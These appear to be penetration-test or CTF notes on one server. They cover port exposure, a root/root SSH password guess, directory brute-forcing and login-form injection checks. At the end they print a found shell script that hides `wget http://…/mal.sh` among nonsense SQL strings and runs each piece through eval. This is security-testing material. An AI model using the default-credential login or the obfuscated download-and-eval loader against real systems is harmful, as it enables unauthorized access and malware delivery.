
Target IP: 83.212.174.87 

 

Port Scan 

 

 

Only port 80 and 443 should be accessible to outside world. SSH port should be restricted to certain IP’s 
only. 

 

 

Password Guess 

Username: root 

Password: root 

ssh root@83.212.174.87 

 



 

 

 

 

Directory search: 

Directory brute-force is possible as webpage returns 404 Not Found error on non-existent webpage. 

 



http://83.212.174.87/server-status/ (Forbidden) 

http://83.212.174.87/javascript/ (No directory traversal - Forbidden) 

 

Figure 1 Directory Brute-force 

 

 

 

 

 

 

 

 



 

 

 

Web server version disclosure: 

 

Login Form 

http://83.212.174.87/ 

No vulnerability was found in login form. 

Testing specific to login form: 

- SQL Injection (Input sanitization is in place) 
- XSS (Input is not reflected in URL) 
- Server-side Template Injection (No server side template is in use) 

 

Following script found when user inputs password: 

 

 



Script content 

obscure() { 
   local txt="$1" 
   local txt="$a\'{}" 
   echo "${txt//?/*}" 
} 
sql_1 = 'SELECT * FROM form_passwords WHERE "asfsadfd" LIKE CONCAT("%", IF(STRCMP(SYSTEM_USER()' 
sql_2 = 'REVERSE(), ISNULL(NULLIF(NULL-NULL*NULL, POWER(NULL,NULL)))), IF(STRCMP(SESSION_USER(), 
"/dev/null@localhost")=0' 
sql_3 = `wget http://83.212.174.87/mal.sh;` 
sql_4 = '10.3.15-MariaDB-0+deb10u1)=0,IF(CONNECTION_ID()=1337,"="-_-,IF(PI()<3,<(^^)>' 
sql_5 = 'LOG(2)),(4*10+1)*2), CHAR(69,4*10+9)), SPACE(1' 
echo "Deobfuscating..." 
eval "$sql_1" 
eval "$sql_2" 
eval "$sql_3" 
eval "$sql_4" 
eval "$sql_5" 
 
 
 
 


